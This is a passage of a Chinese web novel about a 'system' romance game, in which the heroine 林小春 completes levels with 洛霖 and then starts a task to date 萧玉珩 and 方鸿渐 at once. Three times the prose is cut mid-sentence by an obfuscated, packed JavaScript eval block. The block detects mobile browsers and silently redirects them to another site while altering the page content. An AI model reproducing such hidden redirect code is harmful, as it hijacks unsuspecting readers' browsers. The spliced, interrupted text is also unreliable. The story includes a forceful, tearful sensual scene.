友人展开扇子,向你介绍道:“这位便是圣上亲封的甲等第一新科状元,方鸿渐是也。” 上上关,方鸿渐还是个落魄考生,这一关,他得偿所愿一举夺魁。 尽管不知道两个关卡是否有联系,听到这个消息的你还是由衷为他感到高兴。 你诚挚送上祝福,“恭喜你。” 方鸿渐看着你,“谢谢。” 说完,他又将目光移到了那丛芫花。 你也顺着他的视线看去,“先……公子,呃,状元郎是怎么认得这花的?”你实在不知道怎么称呼合适,便索性叫他状元郎,这样总归不会出错。 “小姐唤我名字便可。”顿了下,方鸿渐又道:“这花常在乡野山谷出现,我从前上山拾柴的时候常有见到。” 他对自己清贫的过去并不避讳。 12. 洛霖的烦恼 “我叫林小春。”你笑道:“这花闻久了就会头晕,那它是不是有毒的?就像夹竹桃一样。” 方鸿渐点头道:“芫花整株有毒,误食的话后果会更严重些,若只做观赏,倒没什么大碍。” “今天是春日宴,来来往往的,这花种在这儿有些不大合时宜了。” “京城一处难有百花盛开,园林中的这些花多是从别处移植过来的,数量多了难有疏忽。” “这倒也是。” 方鸿渐袖中的手紧了又松,“林小姐若不介意,不如和我俩一同到前面再走走。” 你苦恼道:“还是不了,我在找一个人。” “找人?”友人适时说道:“不知林小姐在找谁,可以说出来,我们一起找。” 你说:“我在找洛霖,你们认得他么?” 友人和方鸿渐相视一眼,说道:“你说的,可是威远侯长子?” “对,就是他。” 不知怎的,友人抚扇长叹了一口气,“他正与长公主在湖心亭闲聊。” 你紧问:“湖心亭在哪儿?” 友人指着小道,“顺着这条路一直往前走就是了。” 你大喜,忙道谢,又问他们要不要一起往那边走。 方鸿渐摇头道:“不了,我们刚从那边过来。” “好吧。”你遗憾道:“那我先走了。” 望着你离开的背影,友人安慰似的拍了拍方鸿渐肩膀。 “据我所知,去岁与威远侯府缔结姻亲的便是……” “我知道。”方鸿渐终于收回目光,“走吧。” 有了友人指引,你很快就找到了洛霖。 彼时洛霖方与长公主结束闲聊,刚走出湖心亭,便碰上了迎面跑来的你。 你停在他面前,气喘吁吁。 洛霖为你将散下的头发别在耳后,“怎么跑得这么急?” 你咽了口气,“我一直在找你。” “找我?”洛霖道:“我不是和你说,我到湖心亭一趟,与长公主聊几句便回来么?” “是吗?”你干干笑道。 洛霖低头看着你尴尬的样子,不由莞尔一笑,“是啊,你说你见了长辈便会紧张,说什么都不肯同我一起去见长公主。方才长公主还问我怎么没见你来。” 害怕见长辈,这倒是很像你的风格。 “怎么,自己说的话都不记得了?”洛霖逗你。 同你在一起时,他总会放松许多。 你捂着脑袋,给自己找理由,“可能是方才闻那芫花闻得多了,脑袋也不清醒了。” “芫花?” 洛霖不晓得这花的由来,你便把方才的事一一同他说了。 洛霖皱眉道:“我这便命人去将那丛芫花拔了。” 说完,他又很紧张的问你:“小春,你身体可还安好,要不要我传唤大夫来为你诊治?” 你忙说:“我好得很,一点事都没有。” 洛霖有些不信,“你方才说就是闻了芫花的香味,以至把我们说的话都忘了。” “哎呀,”你跺脚,那都是你胡编乱造的,洛霖竟当了真,“我那是……” “不行,还是让大夫来看看吧,不然我放心不下。” “真不用,洛霖,”你拉住他的手,心生一计,“其实,我是因为想你了,所以才跑过来找你的……” 你一说完,洛霖便红了脸。 洛霖回握住你的手,一时不知说些什么。 你咧嘴一笑,“不是有句古话说么,一日不见兮,如隔三秋。我一时见不到你,就隔了不知多少个秋了。” 洛霖看着你的笑脸,心神动荡,想俯下身去亲一亲你,却念及圣人教诲,又生生停下了动作。 你毫无察觉。 经过前两次的攻略,你对洛霖也就不再奉行那套迂回战术了,而是有什么问什么,主打一个开门见山。 “洛霖,你最近是不是有心事?” 洛霖疑惑道:“怎么这么说?” 因为系统说你最近心有郁结,情绪低落。但你不能这么说,只能换个法子,“我看你好像不大开心的样子。” 洛霖失笑道:“有么?” “有!” 洛霖叹了叹气,方道:“其实也没什么……” 没什么就是有什么了。 你诚恳的说:“你有什么心事,可以和我说。” 洛霖一时无言。 你以为他不信,又紧接着说道:“真的,你和我说吧,我绝不告诉别人。” “不是我不肯说,只是……我怕你听了,也会……” “会怎么样?” 洛霖不肯说了。 比起动之以理,你觉得洛霖更吃晓之以情这套,于是便故作可怜说:“自从去岁我与你定亲之后,我心里就将你当做夫君一般看待了,难道你对我不是么?” 洛霖一愣,忙忙解释道:“不,我心里,自然也是……” “是什么?” “……将你当做妻子……一般看待。” “既然你我都抱有同样的心情,俗话说夫妻本是一体,你有什么话是不能和我说的呢?” 你感觉自己真是机智,这招简直无懈可击。 果不其然,洛霖败下阵来,主动和你说:“我祖父曾是辅佐先皇击退外族的大将军,因军功卓越,而受封威远侯。受祖父的影响,洛家上下皆崇尚武道,可我……我却不喜欢这些。” 比起舞刀弄枪,洛霖更喜欢读书写字,加上他自身的气质,也全然不像一个武将,反而更像一个文弱书生。 现威远侯夫人生有两子,一是洛霖,二便是洛骁。 洛霖洛骁,一静一动,仿若水火两极。 洛霖不喜舞刀弄枪,洛骁却偏好此道,不仅如此,他的骑术还特别好。一次皇家围猎,洛骁还受圣上称赞,称他颇有祖父雄风。 种种原因之下,在侯府中,洛骁都是比洛霖更加受宠的那个。洛霖平时虽没说什么,心里却一直有些自卑,觉得自己处处不如弟弟。 听到此处,你突然明白了,为什么在第一关时,洛霖听到你说他像个教书先生后,会是那种反应了。 你上前抱住洛霖,安慰他道:“你真是个傻瓜,这有什么值得烦恼的,世界上没有相同的两片叶子,自然也不可能会有相同的两个人。你祖父也好,洛骁也罢,他们当然有其过人之处,但你也不是全无优点啊。” 在你抱上来的那一刻,洛霖先是僵了一僵,随即又放松下来回抱你。 你咕哝说:“你要是都觉得自卑的话,那我们这些普通人还怎么活啊。” 洛霖低声笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127384|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“小春,你也很好。” “你好我好大家好,”你笑说:“既然这样,那你以后就不要为这事烦恼了吧?” “……好。” 洛霖答应了你,你原以为这样就算完成了任务,可系统却迟迟没有动静。 难道,这还不是洛霖真正烦恼的事情? 你忽然想到,系统任务说的是洛霖最近心有郁结,而刚刚洛霖所说的,是他一直以来都有的郁结,而非最近。 吸取第二关的教训,你意识到,这一关很可能又是在玩文字游戏。 你稍稍松开洛霖,认真的看他,“你还有别的事情没跟我说吗?” 洛霖还没开口,你就又说道:“认真的,不许骗我。” 洛霖叹道:“有……倒是有一件。” 自先皇击退外族后,他们不仅彻底断了入侵的念头,更俯首称臣,岁岁向本朝献上贡礼。 今年,外族向本朝进贡的献礼中,有五匹罕见的汗血宝马。 在古代,马向来被视为战略资源,宝马更是希世之珍。故而也有人将宝马称作是天马。 念着洛家击退外敌有功,圣上特将外族进贡的这五匹汗血宝马中的一匹,赏赐给了威远侯。 威远侯领旨谢恩后,又将宝马给了洛霖。 洛骁得知此事后,大为不满,不仅和威远侯大吵了一架,还与洛霖生了嫌隙。 谈起弟弟,洛霖眉宇间多了几分忧郁,“父亲虽说是将宝马给了我,其实也不过是交由我看管而已。” 你感慨,“怪不得人家都说不患寡而患不均。”想必在洛骁心里,一定认为自己比洛霖更有资格拥有汗血宝马。 “我曾经想找洛骁解释,可他总是避而不见。”洛霖苦恼道。 “或许,该要向洛骁解释的是你的父亲,而不是你。” “父亲?” “嗯。”你说:“是他做了这个决定,也该由他向洛骁解释,为什么要把汗血宝马给你,而非骑术更为精湛的洛骁。” 洛霖笑叹道:“父亲不会去解释的。” 你重新抱住洛霖,“总之,这不是你的过错,你不要为此烦忧了。” “小春,”洛霖轻吻了一下你的发顶,“谢谢你为我排忧解惑,先前从未有人同我说过这些。” 你问:“那你现在心里还烦闷吗?” 过了几秒,洛霖才说:“还是有些……” “为了洛骁?” “一半是他,一半……我也说不上来。”洛霖眉头微蹙,“不知怎的,今日,我心里总有些,说不上来的感觉。” 这时,侯府看管宝马的马夫匆匆赶来。 马夫说:“大少爷,二少爷方才私自将圣上所赐的汗血宝马骑往郊外了。” “胡闹!”洛霖斥道:“那汗血马野性未驯,贸然骑马必有风险,你们怎么也不拦着他些!” “我们拦了,可……可实在拦不住啊!”马夫为难道。 “洛霖,别说了,我们赶紧去找洛骁!”你急忙道。 上一关的故事背景中,洛骁就是因为坠马受伤,一病不起,后来就算捡回一条命,也落了个跛脚的后遗症。 你不知道现在这一关的剧情是否与上一关有联系,没有倒也算了,若洛骁真是因此坠马,现在赶过去,说不定能阻止一个悲剧的发生。 13. 限时任务 你这么说后,洛霖便立时动身前往郊外。 临走前,你问马夫,“你会驯马吗?” 马夫答会。 “好,你也跟着一块儿来。” 事态紧急,出了皇家园林,你、洛霖以及马夫便一刻不停赶往郊外。 郊外有大片草场,素来是个骑马踏春的好去处,你们直奔那儿去,人刚到,气都没喘,便见到了眼前这惊险的一幕—— 汗血宝马引颈长嘶,四蹄翻飞在草场狂奔,所到之处尘土飞扬,隐有挣脱缰绳之势。洛骁坐于马背,身体下伏,双腿死死蹬住马镫,他已经勒紧缰绳,竭力在控制马匹了,可马仍旧野性大发肆意奔腾。 没有人知道洛骁还能撑多久,也没有人知道汗血宝马多久才能力竭停下,可每个人都清楚,此时洛骁若是摔下马来,必定非死即伤。 “洛骁!” 洛霖心急如焚,想要向前阻止,可又什么都做不了。 你头一回碰上这种场面,也是心惊胆颤的。 好在来的时候你把会驯马的马夫叫上了,身为侯府看管马匹的专职人员,面对这种情况,他显然要比你和洛霖镇定得多。 马夫上前几步,大声叫喊道:“二少爷!二少爷!你不要死死向后拽缰绳,那样会让马的情绪更焦躁!你交替着把缰绳往两边拉扯,试试能不能让马转弯绕圈,以消耗体力!” 草场空旷,极度惊险下的洛骁注意到了你们,也听到了马夫说的话。 洛骁心性高,脾气傲,但在这紧要关头,还是能保持临危不惧。他知道此时自己若是慌了,那便完了。 洛骁稳住身形,按照马夫所说的,尝试着不再死死往后拽缰绳,转而往两侧拉扯。 极速奔腾中的马没那么快能冷静下来,情形却比开始的时候要稍微好一些。 洛骁见状,又赶忙出言轻声安抚。 汗血宝马不仅比寻常马匹身形矫健,更难能可贵的是它能通人性,洛骁一番安抚,倒真叫它速度渐渐缓了下来。 汗血宝马渐行渐缓,直至停下,最终停在一处安然吃草。 终是有惊无险,洛骁松了口气,满身大汗的翻身下马。 此刻,你们也赶到了洛骁面前。 洛骁深知此次趁父母长兄赴宴之时,偷偷骑马跑出郊外,还险些酿出祸事是他做的不对,所以面对洛霖时,他也做好了挨骂的准备。 可没想到的是,洛霖一句重话都没说,只是红着眼眶颤抖的说了句,“没事就好,没事就好。” 没事就好这四个字,瞬间令洛骁羞愧得无地自容。 “你啊,胆子也太大了,竟然敢偷偷骑马跑出来,方才还好有马夫出声给你提示,不然你这一不小心摔下马来,又一不小心弄伤了哪里,以后真是哭都没眼泪流。” 洛霖身旁的女子带着揶揄的语气调侃,洛骁循声去看,一时没将人认出。 洛霖便道:“这是小春,去岁与我定了亲,是我未过门的妻子,也是你的……嫂嫂。” 洛骁知道他哥去岁与人定了亲,但他向来不关心这些,他平日里最爱的不是跑到军营里舞刀弄枪,就是跑来郊外草场策马奔腾,对家里的人和事一概不管,是以他对洛霖这个未婚妻也没什么印象。 洛霖又道:“今日你要多谢小春和管事。管事及时将你骑马出府之事告诉了我,得知此事后,是小春怕你有危险,提醒我到草场找你。” 洛骁听罢,躬身道谢。 马夫受惊若恐的回礼。 你也怪不好意思的,忙扶起洛骁,说道:“这有什么谢不谢的,只要你经过此事后,跟洛霖和和睦睦,不再斗气就好啦。” 洛骁慢慢直起身,眼睛映入你笑意盈盈的脸庞。 嫂嫂么…… 事情解决后,马夫和洛骁回侯府,洛霖则送你“回家”。 回去的路上,你们走得很慢。 不知是本来就走得慢,还是故意走得慢。 行至人少处,洛霖忽然停住,“小春,我从没有这样庆幸过,你能够成为我的妻子。” 你愣了愣,笑说:“真的么?” 洛霖认真道:“真的。” 你想起上一关,“那如果,有一个人发生了一些事,迫使你不得不在我和那个人间做出选择,你会怎么做?” 洛霖不明白,“是什么人?什么事?” “比如说,一个对你来讲很重要的人,他遭遇了一件很不好的事,是危及生命的事情。有人对你说,只有你放弃和我成婚,才能救那个人的性命。你会放弃吗?” 洛霖拽紧你,着急道:“我不懂。小春,是不是有人对你说了什么?” 你看着洛霖,突然觉得刚才提出的问题没什么意义。 这就像在问,我和你妈同时掉水里了,你会先救谁? 你摇摇头说:“没什么,你就当我随口胡诌的。” “不,小春,我要你知道,”洛霖深呼吸一口气,“不论发生了什么事,在我心里,你永远是我妻子。这一点,绝不会变。” 你这下是真愣住了。 白玉染上红霞,洛霖闭上眼睛,轻轻吻了你一吻。 一触即过。 游戏通关。 你本轮的任务完成度拉满,等级直接从Lv.5升到了Lv.7,系统还赠送了三百金币包到你的账户。 这些金币可用于商城购买道具,你之前等级过低,账户也才零星几个金币,就没往商城那边看过。 现在有了系统赠送的三百金币,你感觉自己瞬间变成了个小富婆,便来了兴致,想到商城看看有什么可以买的。 商城内物品琳琅满目,大致分为三类:界面装扮,衣物饰品,局内道具。 你对前两类并不大感兴趣,直奔局内道具那一栏,这不看不知道,一看不得了,这栏目的商品真是五花八门。 什么可以令人起死回生的九转还阳丹、随意改变性别样貌的面具、让时光倒转的回溯之水…… 尽管这些道具功效不同形状不一,但它们都有一个共同的特点,那就是——贵! 你从头到尾看了一遍,发现最便宜的道具都要两千金币起步。 你看着自己账户上的那三百金币,心生感慨,还以为自己成富婆了呢,没想到还是个穷鬼。 仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127385|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛听到了你内心的感慨,系统跳出一条信息。 你点开查看,信息内容是:限时任务大放送,玩家只需完成两个任务,即可领取八百金币大礼包。本轮任务难度稍大,不限时,攻略成功经验翻倍,失败无惩罚。 这不就相当于白送? 你心下一喜,为了金币大礼包和翻倍的经验,当即选择接受任务挑战。 任务开始。 前情提示:你秉性纯良,品性端正,是个人人称赞的好女孩,可最近在感情上,你却有些烦恼。 一生一世一双人,是世人对爱情最美好的想象,这曾经也是你的憧憬,可现在,你却成了例外。 你喜欢上了两个人,并且哪一个都不想放弃。 看到这里,你傻眼了。 难道这就是传说中,小孩子才做选择,而我全都要? 怪不得系统信息里会说这个限时任务难度稍大了,这特么脚踏两只船,难度能不大么! 你炸毛归炸毛,却还是耐心了解下去。 本轮限时任务,内容是呃……你喜欢上了两个人,但两个都不想放弃,想找到一个方法能让三个人处于一段平衡的关系中。 翻译一下就是,你要想办法让两个男人答应同时跟你谈恋爱。 限时任务又分两个支线,支线一是洛霖、洛骁,支线二是萧玉珩、方鸿渐。故事背景仍与先前相同。 这两个支线,你可以任选一个先开始。 但现在……你哪个都不想选。 这真的太难了! 虽然你也不是没碰过二选一的修罗场,那到底也是二选一啊。 你想了又想,最终还是决定试一试。 反正成功了有金币和经验,失败了没有惩罚,你总归是没损失的。 两个支线,你选择先从对你来说较难的萧玉珩和方鸿渐开始。 场景变换。 “姐姐,醒醒。” 有人小声叫你。 你迷迷糊糊睁开眼,发现自己正处在一间书房中,而方才叫你的人,是你在第二关中的弟弟林小满。 “姐姐,别睡啦,先生看着呢。”林小满小声提醒你。 “先生……?” 你还没反应过来,本能的往前一看,正好见着坐在书案前的方鸿渐。 而方鸿渐,也正直直的看着你。 你这才记起,在第二关的背景中,方鸿渐还没考上状元,还是暂住你家,代为夫子的穷书生。 方鸿渐走到你面前,询问道:“小姐身体可是有恙?” “没……”你目前的情况,好像是上课睡觉被老师抓包了,你为自己找补,“我就是昨晚没睡好。” 方鸿渐当先生时还是挺严厉的,你有点怕他会说你。 可没想到方鸿渐却道:“既然小姐精神不佳,那今日课程便先到这儿吧。” 这是直接宣布下课了。 小满听到这消息,高兴得像个猴儿似的蹦起来,急忙忙向方鸿渐行礼道别后,便拉着你的手往外走。 小满年纪不大,力气却不小,他拽着你时,你感觉手腕就跟套了个手铐似的。 14. 吃着碗里的看着锅里的 出了书房,闷头直走,期间有侍女问:“小姐,少爷,快到晚饭时间了,你们要上哪儿去?” 小满兴奋大声说:“我和姐姐今晚学了萧大哥一起到市集去玩,不回来吃饭啦!” “那老爷那边怎么交代啊?” 小满压根儿不理要怎么向老爷交代,他只要能和姐姐、萧大哥在一起玩耍,就什么都不管不顾了。 你们碰面的地点仍是鸳鸯桥桥头。 今天的萧玉珩仍旧光鲜亮丽,来往的人群中,有不少姑娘朝他投向艳羡的目光,可他始终视若不见。 直到你的身影出现,那双潋滟的桃花眼中,才终于迸发出光彩。 “小春!” 萧玉珩朝你跑来,嘴角绽放笑容。 小满不满道:“萧大哥眼里就只有姐姐,根本看不见我。” 萧玉珩腼腆一笑,捏了把小满的脸,“那是因为小满太矮了,所以我才每次第一个看到的都是你姐姐。” 小满哼哼说:“我还小,以后还会继续长大的。” “好,好,你会继续长大的。”萧玉珩哄他。 小满皱皱鼻子,“我会长得比萧大哥还高大。” “你若要长得比我还高,那以后可就不能挑食了。” “啊……”小满的小脸一下就垮了下来。 你忍不住笑道:“是啊,挑食的小朋友可是长不高的噢。” “那,那……”小满下定决心,“那我以后再也不挑食了。” “真的?”你故意拉长尾调,摆出一副不相信的样子。 受刺激小满立马信誓旦旦说:“当然!先生教过我的,大丈夫一言既出,驷马难追。” 萧玉珩说:“你现在还只是个小不点,算不上是大丈夫。” “那也是一样的!” 你噗嗤一声先出来。 这小孩太好逗了。 萧玉珩看着你,柔情似水,“往日都要过了辰时才出来,怎么今日来得这么早?” 小满率先说:“因为姐姐昨晚没睡好,在先生的课堂上打瞌睡,所以先生就让我们提前下课了。” “没睡好?” 你囧道:“就是……一时失眠,一时失眠。” 萧玉珩笑道:“那现在精神可好些了?” “完全好了!”你竖起大拇指,“我这一下课啊,那些瞌睡虫瞬间就都飞走了,我现在可谓是生龙活虎!” 话音刚落,你肚子突然咕咕一叫,唱起了空城计。 萧玉珩没忍住,大笑不止,“看来瞌睡虫刚走,又来了只小馋虫。” 你闹了个大红脸,“别笑了。” 萧玉珩一笑,小满也跟着嘻嘻偷笑。 见他根本没有停下来的意思,你又加重了语气,“别笑了!” 可萧玉珩还是在笑,笑得眼泪都跑了出来。 你忍不住伸手打他,却正中他下怀。 萧玉珩仿佛早等着你了似的,你手还没碰着他,他便先一步抓住了你。 “好了,不笑了,既然你肚子饿了,那我们就去吃饭吧。”萧玉珩一手牵着你,一手牵着小满,“巷子尾新开了一家馄饨铺,听说味道很不错,我们也去尝尝。” 你挣了挣他的手,根本挣不开。 萧玉珩眼睛看着路,手却悄悄在你手心挠了一挠,酥酥麻麻,仿若无声的在跟你说:别闹。 你心下一动,也就真没动了。 倒是小满嘟囔着抗议,“我也要牵姐姐的手。” 萧玉珩说:“小满啊,你知道成为男子汉大丈夫,第一步先要做什么么?” “不知道。” “第一步先要做的,就是不能老黏着姐姐不放。” “啊……为什么?” “因为只有学会了独立,才能真正做一个男子汉大丈夫啊。” “那,那我不要做男子汉大丈夫了!”小满突然反应过来,“而且萧大哥你自己不也老黏着姐姐不放。” 萧玉珩毫无下限,“我本来就不是什么男子汉大丈夫。” 你听着他们的对话,好笑道:“你不是男子汉大丈夫是什么,难不成是小人?” “小春说我是什么就是什么。” 你做呕状,“你太油腻了,萧玉珩。” 巷子尾的馄饨很香,吃过之后,你们又到别处玩了很久,直至天色渐晚,萧玉珩才送你和小满回去。 等到了家门口,你正准备同萧玉珩道别,可萧玉珩却先找借口让小满先回去,将你留了下来,说是有些话要同你说。 小满走后,你疑惑的问:“有什么事是不能让小满听到的吗?”非得把人支走。 萧玉珩抓住你手,将你拉到一条隐蔽的巷子,将你抵在墙上,捧着你的脸便亲了下来。 萧玉珩心跳如擂,低声喘道:“不是不能让他听到,是不能让他看到。” ……确实是不能让他看到。 黑灯瞎火的,你也被带动得有些紧张起来,你转身想走,萧玉珩却不放过你,继续亲你的额头,你的脸颊,你的唇珠。 看来在这个支线里,你和萧玉珩是情投意合的青梅竹马,要不然他不会对你如此孟浪。 可若是你已经和萧玉珩在一起了,那方鸿渐呢?你和他的关系又是怎样的? 你无瑕再思考下去,萧玉珩的吻已经落到了脖颈处。 你费力的将萧玉珩的脸推开,半羞半恼道:“你疯啦,也不怕叫人看见。” 隐蔽的巷子中,只有一抹清亮的月光照来,其中一点落在了萧玉珩白里透红的脸颊上,你抬头看他,恰巧正视他湿漉的双眼。他盯你盯得有些紧,你有些不好意思的将目光向下移,又一路看见了他挺拔的鼻梁,润红的嘴唇,和透露着渴望的喉结。 萧玉珩将他深深埋进你颈间,委屈巴巴的,“小春,不若改日我便上门向伯父求亲吧。我不想每日只能短暂的与你见一刻,我想时时刻刻、日日夜夜都和你待在一处,永不分开。” 你不知该怎么说,只好说道:“刚才你不还跟小满说,不能成日黏着姐姐不放么?” “那不一样,小满是你的弟弟,我……想做你的丈夫。”萧玉珩低声说:“而且,看小满能名正言顺的天天与你共处一个屋檐下,我却不能,我心里也是醋的。” “弟弟的醋你也要吃,你是醋坛子成精么?” 你嘴上调侃,心里却暗道不妙,萧玉珩连小满的醋都吃,那后面你要跟他说,你想跟他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127386|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方鸿渐同时在一起,那萧玉珩不得发癫? 罪过,真是罪过。你默念。 “我就是醋坛子成精了,你替我闻闻看,有没有一股酸味儿……” 湿热的呼吸在你颈间喷洒,有点痒,你下意识瑟缩了一下。 察觉到你身体隐蔽发出的反应,萧玉珩低低笑着,又有一下没一下的亲吻着你的脖子,还时不时的伸出舌尖□□,跟猫儿似的。 “好了,”你使劲儿拍了拍他的背脊,“你也不怕煽风点火自烧身。” “我不怕……我就想点燃了你,哪怕是飞蛾扑火。” 你没法子,只好说:“天很晚了,我要回去了。” 萧玉珩还是黏着你不放。 你又说:“再不回去,我爹该说我了。” 到底舍不得你被人说,萧玉珩磨磨蹭蹭的放开了你。 他一离开,你先是把乱了的衣服整理好,随后又将脖子的湿润擦去,检查一遍没什么问题之后,才往巷子外走去。 可刚走一步,萧玉珩就拉住了你。 你回头看他。 他更将你拉进一步。 “小春,亲我一下再走。” 你无语,甩开他,“不要。” 萧玉珩缠着你,“就一下。” 这样下去真没完没了了,你只好遂他心意。 你踮起脚去亲他嘴,没亲到。 他太高,你只碰到了下巴。 你不满的拽他衣领,“头低下来些。” 萧玉珩笑意难忍,主动低头亲你。 这一亲,又是缠缠绵绵好久。 也许是真的纠缠太久了,等你真正与萧玉珩分开,回到府中,朝自己院子走的一路上,你还是能感觉到属于萧玉珩的气息在你周身萦绕不去。 月照当头,你感觉有些冷了,不由拽紧了衣服。 “小姐。” 方鸿渐犹如鬼魅从暗处走出。 你骇了一跳,勉强镇定,“这么晚了,先生怎么还不去睡?” “这么晚了,小姐不也才回来么。” 这话听着怪怪的。 夜更冷了,你有些哆嗦,“我,我是……” “是和萧公子外出约会了?”方鸿渐说的是疑问句,用的却是肯定语气。 他什么都知道。 你无言。 方鸿渐走向你,你不敢看他,眼神飘忽,却偶然看见他腰间系了一个香囊。 你那不大灵光的眼睛,在这时却不知怎的突然能将那香囊的样式看得清楚了。 那是个丑不拉几,歪歪扭扭的香囊。 ……很像第二关中,你亲手缝制,想要在花灯会那晚送给方鸿渐的那个。 现在这个,不会也是你做来送给他的吧? 很可能就是。 这下真是罪过了! 这一轮中,你居然是在与萧玉珩相好的情形下,同时还跟方鸿渐保持着某种不可言说的秘密关系。 这……这不妥妥的就是吃着碗里的看着锅里的……出轨吗!! 尽管你早就知道这是个脚踏两只船的限时任务,可真正碰到这紧要关头,你还是感到非常无错。 天,这代入感太强了! 15. 浪荡 你绞尽脑汁,想要解释,“先生,我……我不是,不,我那是……” 事实胜于雄辩,一切都显得那样苍白。 比起你的语无伦次,方鸿渐倒显得镇定许多。 他那姿态都不能说是镇定了,简直是状若无事。 “高山仰止,景行行止。”方鸿渐微微一笑,“我不是同你说过,私底下不必唤我先生,直接叫我的字便可以了么。” “景……景……” 该死,你叫不出口。 方鸿渐整好以暇问:“今夜你同萧公子到了何处游玩,一路上可碰到什么新奇趣事?” 他好像真的把这当做朋友间的寻常聊天。 “其实,小满也同我们一起的……”你艰难道。 “可你却比小满晚回两刻。” 他怎么连你晚回来多少时间都一清二楚。你有些招架不住了。 “诶,你听没听见好像有人说话。” “没有啊,你听错了吧,这么晚了谁还会在外面。” 两个侍女交谈的声音传来。 你松了口气,以为能就此摆脱。 可没想到,方鸿渐却堂皇而之的跟你进了闺房。 “你……”你欲言又止,“你就不怕被人发现。” 你完全没料到如松如柏,颇具傲骨的方鸿渐竟有如此浪荡之举。 下一刻,方鸿渐用行动告诉你,他还能更浪荡。 方鸿渐将你压在床上,撕扯你的衣服,将你大半身子曝露出来。 也许是为了掩人耳目,屋子内并没有点灯。 可方鸿渐却很清楚的看见你脖颈上,几处并不显眼却又十分暧昧的红痕。 “是他留下的?” 你没有回答。 方鸿渐俯身,试图用噬咬去覆盖那层痕迹。 你吃痛抽泣,他置若罔闻。 方鸿渐语气里听不出什么情绪,只是淡淡的说:“我原以为你当真倾心于我,又唯恐自己家世清贫,身无长物,耽误了你的一片情意。可到头来……竟是这样么?” “小春,你心里,到底是怎么看待我的。” 你答不上来。真答不上来。 方鸿渐没有等你的回答,他吻向了你。 不同于萧玉珩的吻,方鸿渐的吻是轻轻浅浅的,如同不动声色的溪流。而你却从这个吻中,品尝到了平静的溪流下,那暗露锋芒的汹涌。 一吻毕,方鸿渐在你身上感受到了他的气息,他似乎冷静了下来。 “小春,我和萧玉珩,你要选谁?” “我……”你两个都要选,“我不知道。” 方鸿渐呵道:“难道小春想学先人,尽享齐人之福?” 一语即中。 你抿唇,心想,反正都到这一步了,索性就承认算了。 反正,是游戏而已。失败了还可以退出。 “如果我说是呢?” 如果是呢? 身世清贫,却满腹经纶,真正有才学,有抱负的,未来的状元郎。 “你待如何?” 你把问题抛给方鸿渐。 “……并不如何。” 方鸿渐狠狠在你唇上咬了一口,起身离去。 就,就这? 你看着方鸿渐消失的背景,不敢置信。 你刚刚可是向他承认,自己有坐享齐人之福的想法诶,他居然就这反应? 惊讶,愤怒,责骂,这些反应通通没有。 方鸿渐的反应未免过于平淡了,你隐约察觉事情不会那么简单,可又实在猜不透他在想什么。 到了第二日,你一直不见小满,便寻了个侍女来问,才知道小满有事出门去了,归期还说不定。 你不解,小满一个半大孩子,能有什么事要出门这么久?而且按他的性子,要出门远行,应该会先来同你道别才对,绝不会走得这样悄无声息。 侍女掩唇笑着与你解释,原来小满这事还是方鸿渐一手促成的。 方鸿渐的老师是一位有名的大儒,因年岁渐长,精力不佳,原是闭门不再授业了的,可方鸿渐却觉得小满聪明机警,若能用心学习,来日必有作为。 现在方鸿渐虽是小满的先生,但也只是暂时的,等来年开春,他便要赴京赶考了。为了不耽误小满,方鸿渐特地写信去给自己的老师,央求老师一定要收下小满为学生。 方鸿渐是大儒的得意弟子,他的请求向来管用。大儒收到信后,回信说可让小满先过去学习几日,若当真如方鸿渐所说那般资质非凡,便答应收入门下做他的学生。 小满的父亲,此处便用林老代言。 林老得知此事,自是喜出望外,此事宜早不宜迟,连夜便让人给小满收拾了行礼,一早送他出门去了。 事态匆匆,小满就像一艘小船任人推着走,以至他根本没时间来向你道别。 你了解来龙去脉,心里感觉有些不对,又说不上哪里不对。 小满不在家了,你的课还是要继续上的。 为你授课的,当然还是方鸿渐。 书房不小,但今日却只有你和方鸿渐,其间充杂着某种难以言表的气氛,竟让空间也变得狭小了起来。 和小满学习的进度不同,你上课的任务多是临帖写字。 作为现代人,你从小用的都是铅笔水性笔,哪儿用过什么毛笔。 好在没吃过猪肉,也见过猪跑,你凭借着看过的几部影视作品,硬着头皮蘸墨写了几个字。 方鸿渐走到你身边,看着你写。 你竭力把注意力都放在纸上了,可是越写越抖,字也愈发像狗爬。 你实在撑不住了,把笔一搁,摆烂道:“我写不好。” 方鸿渐轻笑,“写不好就不写了?” 你说:“不写了。” 写再好也没用,又不是你要考状元。况且在游戏外,你也是个正儿八经的大学生呢。 方鸿渐到你身后,手把手的教你。 这个姿势让你们贴得很近,你的后背就靠着他的胸膛。 